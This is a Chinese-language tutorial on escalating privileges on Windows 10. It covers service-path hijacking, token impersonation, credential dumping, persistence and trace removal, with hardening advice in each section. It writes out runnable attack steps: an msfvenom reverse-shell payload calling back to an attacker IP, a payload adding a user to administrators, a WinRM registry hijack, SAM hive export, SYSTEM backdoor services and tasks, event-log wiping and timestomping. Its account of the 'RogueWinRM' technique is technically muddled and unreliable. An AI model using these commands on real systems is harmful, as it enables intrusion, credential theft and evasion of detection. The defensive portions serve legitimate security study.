Windows 10提权实战:从服务路径漏洞到令牌窃取技术详解
1. 项目概述与核心价值
在Windows安全领域,提权是一个永恒的话题。无论是渗透测试人员验证系统防御强度,还是系统管理员排查潜在风险,理解攻击者如何从一个普通用户权限“跃升”到系统管理员甚至SYSTEM权限,都至关重要。今天,我们就来深入拆解一个在Windows 10环境中非常经典且实用的提权实战路径:从最初级的服务路径漏洞利用,到相对高级的令牌窃取技术。这不仅仅是一份攻击手册,更是一份给防御者的“体检清单”。通过理解这些攻击链的每一个环节,你才能更有效地加固你的系统,堵上那些看似不起眼却足以致命的安全缺口。
我遇到过很多情况,管理员拿到一个普通用户shell后,觉得危害有限就放松了警惕,殊不知攻击者正利用系统内各种配置瑕疵和设计特性,一步步蚕食控制权。本文将基于实战经验,详细解析几种在Windows 10(版本21H2/22H2等常见环境)中依然有效的提权方法,并穿插大量实操中的注意事项和避坑指南。无论你是安全研究员、红队队员还是运维工程师,这些内容都将帮助你构建更立体的攻防认知。
2. 提权基础与环境准备
2.1 理解权限模型与提权目标
在Windows中,权限是分层的。我们通常接触到的有:
- 普通用户权限:受限最多,只能访问自己的用户目录和部分系统资源。
- 管理员权限:拥有对系统绝大部分的控制权,可以安装软件、修改系统设置。
- SYSTEM权限:Windows内核和核心服务的运行权限,高于管理员,是本地系统的最高权限。
提权的核心目标,就是从当前较低权限(如普通用户)提升到更高权限(管理员或SYSTEM)。实现这一目标,本质上是在寻找系统设计、配置或软件漏洞中存在的“特权执行”机会。这些机会允许我们以更高权限的身份去执行我们指定的代码。
2.2 实战环境搭建与信息收集
在开始任何提权尝试前,系统性的信息收集是第一步。盲目操作不仅效率低下,还可能触发安全告警。我们需要一个稳定的“立足点”,通常是一个反弹回来的命令shell(如cmd或PowerShell)或者一个Webshell。
首先,我们需要全面了解当前环境。以下是一些关键命令,我习惯将它们整理成一个脚本一次性运行:
# 系统信息 systeminfo hostname # 用户与权限信息 whoami /all # 查看当前用户详细信息、所属组、特权(Privileges) net user # 查看本地用户 net localgroup administrators # 查看管理员组成员 whoami /priv # 重点查看当前启用的特权,如SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege等,这些是令牌操作的关键。 # 网络信息 ipconfig /all netstat -ano # 查看网络连接和监听端口 # 进程与服务信息 tasklist /svc # 查看进程及其关联服务 sc query state= all # 查看所有服务的详细状态 wmic service get name,displayname,pathname,startmode | findstr /v "C:\Windows" # 非系统路径的服务,是重点排查对象 # 计划任务 schtasks /query /fo LIST /v # 文件与目录权限(寻找可写目录) accesschk.exe -uws "Everyone" "C:\Program Files" # 使用Sysinternals的AccessChk工具,需先上传 icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) (W)" # 使用系统自带icacls查找有完全控制、修改、写入权限的目录 # 安装的软件与补丁 wmic product get name,version wmic qfe get Caption,Description,HotFixID,InstalledOn # 查看已安装的补丁注意:
accesschk.exe是Sysinternals工具包的一部分,在目标机器上可能不存在。你需要事先在你的攻击机上准备好对应架构(x86/x64)的版本,并通过你的shell会话上传到目标机的可写目录(如Temp)中。上传方法取决于你的shell类型(如PowerShell的Invoke-WebRequest,或简单的echo重定向)。
信息收集完成后,你会得到一份关于当前系统的“地图”。接下来,我们将根据这张地图,选择最有可能成功的攻击路径。
3. 服务路径提权漏洞深度利用
服务路径提权,是Windows提权中最经典、也最容易被忽视的一种方式。其原理非常简单:如果一个Windows服务是以SYSTEM或管理员等高权限运行的,但其可执行文件(Path to executable)的路径指向一个普通用户拥有写入权限的目录,那么攻击者就可以用恶意程序替换掉原有的合法程序。当服务重启或系统重启时,高权限的服务进程就会加载并执行我们的恶意代码。
3.1 漏洞发现与确认
使用前面提到的wmic service或sc qc <服务名>命令,我们可以列出所有服务的二进制路径。我们需要重点关注那些路径不在C:\Windows及其子目录下的服务。因为系统目录的权限通常很严格。
假设我们发现一个名为“VulnerableService”的服务,其路径为C:\MyApp\service.exe。接下来,我们需要检查这个路径的权限。
# 使用icacls检查目录权限 icacls "C:\MyApp"如果返回结果中包含类似BUILTIN\Users:(OI)(CI)(W)或Everyone:(OI)(CI)(F)的条目,就意味着“Users”组或“Everyone”对该目录有写入(W)或完全控制(F)权限。这是一个高危信号。
更精确的方法是使用上传的accesschk.exe:
accesschk.exe -wuvd "C:\MyApp" -accepteula-w参数会直接列出具有写入权限的用户和组。
3.2 漏洞利用实战步骤
一旦确认路径可写,利用过程就清晰了:
制作恶意负载:我们需要生成一个能给我们返回高权限shell的可执行文件。通常使用msfvenom或Cobalt Strike的Payload Generator。
# 示例:使用msfvenom生成一个反向TCP shell的exe msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o malicious.exe上传并替换文件:通过现有的shell会话,将
malicious.exe上传到目标机的可写目录(比如C:\Temp),然后将其复制并重命名为目标服务路径下的可执行文件名。# 在目标机的shell中操作 copy C:\Temp\malicious.exe "C:\MyApp\service.exe" /Y重要提示:直接覆盖可能失败,如果原服务正在运行,文件可能被锁定。可以先停止服务,但这样容易引起注意。更隐蔽的做法是,如果原文件有备份或版本管理,可以尝试利用其他漏洞。或者,如果目录可写,我们可以不覆盖原文件,而是利用一个更隐蔽的技巧:利用未引用的服务路径。
利用未引用的服务路径(Unquoted Service Path):这是服务路径漏洞的一个变种,甚至更常见。当服务路径包含空格且没有被引号括起来时,Windows服务控制管理器(SCM)会按空格将其拆分成多个部分,并依次尝试执行。 例如,服务路径为:
C:\Program Files\My Tool\bin\service.exeSCM会按顺序尝试执行:C:\Program.exeC:\Program Files\My.exeC:\Program Files\My Tool\bin\service.exe如果攻击者对C:\Program Files\My Tool\目录有写入权限,他就可以在C:\Program Files\My Tool\目录下创建一个名为My.exe的文件。当服务重启时,SCM会优先执行My.exe而不是真正的service.exe。
# 检查未引用的服务路径 wmic service get name,displayname,pathname,startmode | findstr /i /v "c:\\windows" | findstr /i /v """找到后,在相应的可写目录放置你的恶意
My.exe即可。触发执行:替换文件后,需要等待服务重启。重启方式包括:
- 等待系统重启(被动,不推荐)。
- 手动重启服务(需要相应权限,可能没有)。
- 如果服务配置为自动重启且崩溃,可以尝试让原合法程序崩溃(如果可控)。
- 更常见的是,寻找其他漏洞组合利用。例如,如果有一个计划任务以高权限运行并调用了该服务,或者有另一个服务可以控制该服务。
接收Shell:在攻击机上启动监听器(如
nc -lvnp 4444或Metasploit的multi/handler),等待服务执行恶意文件后建立反向连接。
3.3 实操心得与防御建议
- 心得1:权限检查要彻底。不仅要检查目标
.exe文件的权限,更要检查其所在目录乃至父目录的权限。icacls命令的递归检查很重要。 - 心得2:关注服务恢复选项。
sc qfailure <服务名>可以查看服务失败后的恢复操作。如果配置了“重启服务”,那么让服务崩溃可能是一种触发方式。 - 心得3:利用工具自动化。像
PowerUp.ps1(PowerSploit模块)或WinPEAS这样的脚本可以自动化发现服务路径、未引用路径、可写目录等问题,极大提高效率。 - 防御建议:
- 最小权限原则:确保所有服务以所需的最低权限运行,避免滥用SYSTEM账户。
- 安全路径:将自定义服务安装在权限严格的目录下,如
C:\Program Files\<Company>,并确保该目录只有管理员和SYSTEM有写权限。 - 使用引号:始终在服务路径两端加上引号,即使路径中没有空格。
sc config <服务名> binPath= "\"C:\Path With Spaces\service.exe\""。 - 定期审计:使用上述命令或安全基线扫描工具,定期检查系统中的服务配置。
4. 令牌窃取与模拟技术解析
如果说服务路径利用是“李代桃僵”,那么令牌窃取就是“鸠占鹊巢”。令牌(Token)是Windows中表示进程或线程安全上下文的对象,包含了用户身份、所属组和特权等信息。令牌窃取允许一个进程获取另一个高权限进程的令牌,并以其身份执行操作。这是现代Windows渗透测试中极为重要的一环。
4.1 令牌基础与关键特权
在信息收集阶段,whoami /priv命令的输出至关重要。我们需要关注以下两个关键特权:
- SeImpersonatePrivilege:模拟客户端令牌的权限。通常授予服务账户(如NETWORK SERVICE、IIS APPPOOL*)和本地管理员。
- SeAssignPrimaryTokenPrivilege:分配主令牌的权限。通常授予本地系统账户和某些服务账户。
如果当前用户启用了SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege,那么令牌窃取的大门就已经打开了一半。在Windows 10/11的默认配置下,许多服务账户都具备这些特权。
4.2 经典漏洞利用:PrintSpooler与Juicy Potato
历史上,最著名的令牌模拟漏洞利用是“Hot Potato”(2016)及其变种“Juicy Potato”。其核心思路是滥用Windows的DCOM/NTLM认证机制和特权账户的模拟能力,欺骗系统生成一个高权限的令牌。虽然微软后续发布了补丁,但其原理和变种在特定条件下仍有研究价值。
更近一些的、在特定环境下依然可用的方法是利用Print Spooler服务的漏洞(如CVE-2021-1675/CVE-2021-34527,即PrintNightmare)。该服务默认以SYSTEM权限运行,且存在允许远程代码执行的漏洞。通过利用该漏洞,可以直接获取SYSTEM权限的令牌或shell。但这需要服务未打补丁且启用。
对于更通用的场景,我们主要关注直接窃取现有进程令牌的方法。
4.3 使用RogueWinRM进行本地令牌窃取
这是一种在Windows 10/11上非常有效的本地提权方法,尤其适用于拥有SeImpersonatePrivilege特权的情况(例如,你通过Web应用漏洞获得了一个iis apppool\defaultapppool的shell)。
其原理是:WinRM(Windows Remote Management)服务在本地也会监听一个端口。我们可以通过修改注册表,将WinRM的后端服务从合法的sshd或默认处理程序,指向我们控制的恶意程序。当高权限用户或系统通过WinRM发起本地连接时(例如,某些计划任务或系统维护脚本会这样做),我们的恶意程序就会以连接者的高权限身份被执行。
实操步骤:
检查特权:确认当前进程拥有
SeImpersonatePrivilege。whoami /priv | findstr /i impersonate准备恶意负载:生成一个能作为服务运行的恶意exe,例如一个添加管理员用户的程序,或者一个反向shell。这个程序需要能够处理WinRM传入的连接。通常可以使用MSFVenom生成一个
windows/x64/exec的payload,执行添加用户的命令。msfvenom -p windows/x64/exec CMD='net localgroup administrators lowprivuser /add' -f exe -o rogue.exe上传与配置:将
rogue.exe上传到目标机。然后修改WinRM服务配置,将其指向我们的恶意程序。这需要修改注册表。# 备份原始配置(非常重要,用于恢复) reg export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.ServerManager C:\temp\backup.reg # 修改插件配置,指向我们的恶意程序 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.ServerManager" /v ResourceUri /d "*" /f reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.ServerManager" /v ConfigXML /d "<PlugIn xmlns=`"http://schemas.microsoft.com/wbem/wsman/1/config/plugin`" Name=`"Microsoft.ServerManager`" Filename=`"C:\Temp\rogue.exe`" SDKVersion=`"2`" XmlRenderingType=`"text`" UseSharedProcess=`"false`" ProcessIdleTimeoutSec=`"0`" RunAsUser=`"`" RunAsPassword=`"`" AutoRestart=`"false`" Enabled=`"true`" OutputBufferingMode=`"Block`" ></PlugIn>" /f警告:此操作会破坏本地WinRM功能,且非常容易被检测。仅用于授权的渗透测试环境。
触发连接:等待或触发一个高权限的WinRM本地连接。有时系统维护任务、部署脚本或其他服务会发起此类连接。也可以尝试重启WinRM服务来触发某些检查机制,但这并不总是有效。
sc stop WinRM sc start WinRM验证与恢复:如果成功,我们的
rogue.exe将以SYSTEM或高权限用户身份运行,执行添加用户等操作。完成后,务必恢复注册表,以免影响系统稳定性和留下明显痕迹。reg import C:\temp\backup.reg sc stop WinRM sc start WinRM
4.4 使用Metasploit或Cobalt Strike的令牌命令
在已经获得一个Meterpreter或Beacon会话(即使是低权限)的情况下,利用内置命令进行令牌窃取是最方便的方式。
在Meterpreter中:
# 列出所有进程 ps # 迁移到一个以SYSTEM或管理员权限运行的进程PID migrate <PID_of_System_Process> # 或者,直接窃取令牌(如果当前进程有SeDebugPrivilege,通常需要先getsystem或迁移到有该权限的进程) use incognito list_tokens -u # 列出可用的令牌 impersonate_token "NT AUTHORITY\\SYSTEM" # 模拟SYSTEM令牌getsystem命令本身也利用了多种令牌模拟和命名管道漏洞尝试提权。
在Cobalt Strike中:在Beacon控制台,可以直接使用steal_token <PID>命令来窃取指定进程的令牌。
4.5 令牌操作的注意事项与防御
- 注意事项1:令牌类型。令牌分为主令牌(Primary Token)和模拟令牌(Impersonation Token)。窃取后通常获得的是模拟令牌,可能在某些操作上受限(如创建新进程)。需要将其提升为主令牌(在Meterpreter的incognito模块中有
get_uid和impersonate_token的区分)。 - 注意事项2:进程迁移。直接窃取令牌可能不稳定。更稳健的做法是先将我们的shell会话“迁移”(
migrate)到一个稳定的、以目标权限运行的进程(如lsass.exe,services.exe,winlogon.exe)中,然后再进行令牌操作。迁移的本质是将我们的代码注入到目标进程空间。 - 注意事项3:杀软拦截。进程注入(Migration)和令牌窃取是大多数终端检测与响应(EDR)系统的重点监控对象。需要配合免杀技术和绕过手法。
- 防御建议:
- 特权剥离:遵循最小特权原则,审查并移除服务账户不必要的
SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege。 - 受控的令牌权限:在Windows Server 2016+和Win10 1607+上,可以使用“受保护的用户”组或通过组策略“网络访问:限制命名管道和共享的匿名访问”来增加令牌模拟的难度。
- 启用Credential Guard(对于企业版):能有效保护LSASS进程中的凭证,阻止一些基于内存的令牌窃取。
- 应用控制策略:使用AppLocker或Windows Defender应用程序控制(WDAC)限制未授权程序的执行。
- 监控与检测:监控对
lsass.exe等关键进程的访问尝试、异常的进程迁移行为以及SeDebugPrivilege特权的启用。
- 特权剥离:遵循最小特权原则,审查并移除服务账户不必要的
5. 其他常见提权向量与组合利用
除了上述两种主要方法,Windows 10环境中还有其他值得关注的提权点,它们常常可以作为“跳板”或“助攻”。
5.1 计划任务(Scheduled Tasks)漏洞
计划任务如果以高权限运行,且其执行的操作(如运行脚本、程序)或工作目录(Start in)可以被低权限用户修改或影响,就可能被利用。
- 检查方法:使用
schtasks /query /fo LIST /v查看所有任务详情。关注Run As User字段和Task To Run字段。 - 利用场景:
- 可写的任务脚本/程序:如果任务运行一个位于可写目录下的
.bat,.vbs,.ps1或.exe文件,直接替换它。 - 可写的工作目录:如果任务的工作目录可写,并且任务执行的程序会从该目录加载DLL(DLL劫持)或配置文件,可以放置恶意DLL或篡改配置。
- 不安全的任务操作:有些任务可能直接执行
cmd /c加上一个用户可控的参数。
- 可写的任务脚本/程序:如果任务运行一个位于可写目录下的
5.2 文件与目录权限配置错误
这是最基础的提权方式之一,但永远有效。
- 可写的服务二进制文件:同服务路径漏洞,但可能只是单个文件可写,而非整个目录。
- 可写的系统启动项:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp(所有用户启动目录)如果可写,放入的快捷方式或程序会在用户登录时执行。 - DLL劫持:高权限程序在启动时,会按一定顺序搜索DLL。如果它将一个可写的目录(如当前目录)放在系统目录之前搜索,并且缺少某个DLL,攻击者就可以放置一个恶意DLL在那里,实现提权。使用
Process Monitor(ProcMon)工具可以分析程序的DLL加载顺序。
5.3 注册表键权限配置错误
Windows服务和驱动程序的配置都存储在注册表中。如果低权限用户对某个服务的ImagePath注册表键有写权限,就可以修改其路径指向恶意程序。
- 检查位置:
HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> - 检查命令:使用
accesschk.exe或subinacl检查注册表键的权限。accesschk.exe -kvu "hklm\system\currentcontrolset\services\VulnerableService" -accepteula - 利用方法:修改
ImagePath值,然后重启服务或系统。
5.4 利用第三方软件漏洞
这是“杀伤链”中常见的一环。运行在高权限下的第三方软件(如杀毒软件、管理工具、驱动)如果存在本地权限提升漏洞,可以直接利用。
- 信息收集:
wmic product get name,version和driverquery。 - 搜索公开漏洞:根据收集到的软件名称和版本号,在Exploit-DB、GitHub、CVE数据库等地方搜索已知的本地提权(LPE)漏洞。
- 常用工具:
Watson、WinPEAS、Windows-Exploit-Suggester等工具可以自动识别系统补丁缺失情况,并建议可能适用的公开漏洞利用代码。
6. 提权后的操作与痕迹清理
成功提权到SYSTEM或管理员后,我们的目标通常不仅仅是获得一个shell,而是为了达成更深度的目标,如获取凭证、横向移动、建立持久化等。
6.1 获取凭证与哈希
这是内网渗透的关键一步。
- 从LSASS进程抓取:使用Mimikatz是最经典的方法。在Meterpreter中,可以直接使用
load kiwi(旧版为load mimikatz)然后运行creds_all或lsa_dump_sam。注意:现代Windows系统(Win10 1607+, Server 2016+)默认启用“受保护的进程”(Protected Process Light)和“凭据保护”(Credential Guard),会极大地增加从LSASS直接读取内存的难度。需要先绕过这些保护。
- 从SAM和SYSTEM文件读取:如果可以直接访问
C:\Windows\System32\config\SAM和C:\Windows\System32\config\SYSTEM文件(需要SYSTEM权限),可以将其导出到本地,使用secretsdump.py(Impacket套件)或pwdump等工具离线提取哈希。# 在目标机上(需要SYSTEM权限) reg save HKLM\SAM C:\Temp\sam.save reg save HKLM\SYSTEM C:\Temp\system.save # 然后下载这两个文件到攻击机进行破解。 - 从进程内存和票据:使用Mimikatz的
sekurlsa::logonpasswords和sekurlsa::tickets可以获取当前登录会话的明文密码和Kerberos票据(TGT/TGS)。黄金票据(Golden Ticket)和白银票据(Silver Ticket)攻击也需要在拥有域控的KRBTGT账户哈希或服务账户哈希后才能进行。
6.2 建立持久化后门
为了防止会话丢失,需要建立多个持久化通道。
- 服务后门:创建一个新的自启动服务,指向我们的恶意负载。
sc create BackdoorService binPath= "C:\Temp\malware.exe" start= auto sc config BackdoorService obj= "LocalSystem" password= "" - 计划任务后门:创建定时执行的计划任务。
schtasks /create /tn "DailyMaintenance" /tr "C:\Temp\malware.exe" /sc daily /st 09:00 /ru SYSTEM - 注册表启动项:在
HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加键值。 - WMI事件订阅:一种更隐蔽的持久化方式,通过WMI监听系统事件(如开机、特定进程启动)来触发执行。
- 影子账户:创建一个隐藏的管理员账户,用于后续登录。
6.3 痕迹清理
在授权的渗透测试中,清理痕迹是职业操守的一部分;在真实攻击中,这是延长驻留时间的关键。
- 删除日志:重点是安全日志(Security)、系统日志(System)和应用日志(Application)中与攻击相关的条目。可以使用
wevtutil命令。wevtutil cl security wevtutil cl system注意:清空整个日志文件行为异常,更精细的做法是使用Meterpreter的
clearev命令,或编写脚本过滤删除特定事件ID的记录。 - 恢复文件与配置:如果修改了服务路径、注册表等,在测试完成后应尽量恢复原状。
- 删除上传的工具:删除上传的
accesschk.exe、mimikatz.exe、恶意负载等文件,并使用sdelete等工具进行安全擦除,防止文件恢复。 - 清除时间戳:使用
timestomp等工具修改创建的恶意文件的访问、修改、创建时间,使其与系统其他文件时间戳一致。
7. 防御加固与安全建议
从防御者视角回顾整个攻击链,我们可以制定出更有效的防护策略。
严格的权限管理:
- 遵循最小权限原则,服务账户绝不使用SYSTEM或Administrator,创建专用低权限账户。
- 定期审计用户、组和服务账户的权限,移除不必要的特权(如
SeDebugPrivilege,SeImpersonatePrivilege)。 - 使用组策略限制本地登录、网络访问等权限。
安全的服务配置:
- 为所有服务使用完整的、带引号的二进制路径。
- 将服务安装目录的权限设置为仅管理员和SYSTEM可写,用户只读执行。
- 禁用不必要的系统服务。
及时更新与补丁管理:
- 建立严格的补丁管理流程,确保操作系统和第三方软件及时更新。可以利用
wmic qfe list或Get-Hotfix(PowerShell)定期核查。 - 对于无法及时打补丁的系统,应评估并实施相应的缓解措施(如禁用易受攻击的功能组件)。
- 建立严格的补丁管理流程,确保操作系统和第三方软件及时更新。可以利用
启用高级安全功能:
- Windows Defender Credential Guard:有效防御基于LSASS内存的凭证窃取。
- 受保护进程(PPL):保护关键安全进程。
- 攻击面减少规则(ASR):通过组策略或Defender安全中心启用规则,阻止Office宏、可执行文件创建、LSASS注入等常见攻击行为。
- 应用控制策略:使用AppLocker或WDAC,只允许授权签名的代码运行。
强化的文件与注册表权限:
- 定期使用扫描工具或脚本,检查关键目录(如
Program Files,Windows\System32)和注册表键(如服务键)的权限是否被不当放宽。 - 限制用户对启动目录、计划任务目录的写入权限。
- 定期使用扫描工具或脚本,检查关键目录(如
深入的监控与检测:
- 启用详细的审核策略,记录关键事件(如进程创建、服务安装、权限使用、注册表修改)。
- 部署SIEM系统,集中分析日志,建立针对提权行为的检测规则(例如,非管理员用户尝试修改服务配置、异常进程迁移、Mimikatz相关进程创建等)。
- 使用终端检测与响应(EDR)解决方案,实时监控进程行为、内存操作和网络活动。
理解攻击是为了更好的防御。这套从服务路径到令牌窃取的提权链条,几乎涵盖了Windows本地权限提升的半数以上场景。在实际的渗透测试或安全评估中,往往需要将多种技术串联起来,从一个微弱的立足点逐步扩大战果。而作为防御方,则需要层层设防,确保攻击者在任何一环都难以突破,从而构建起真正纵深有效的安全防线。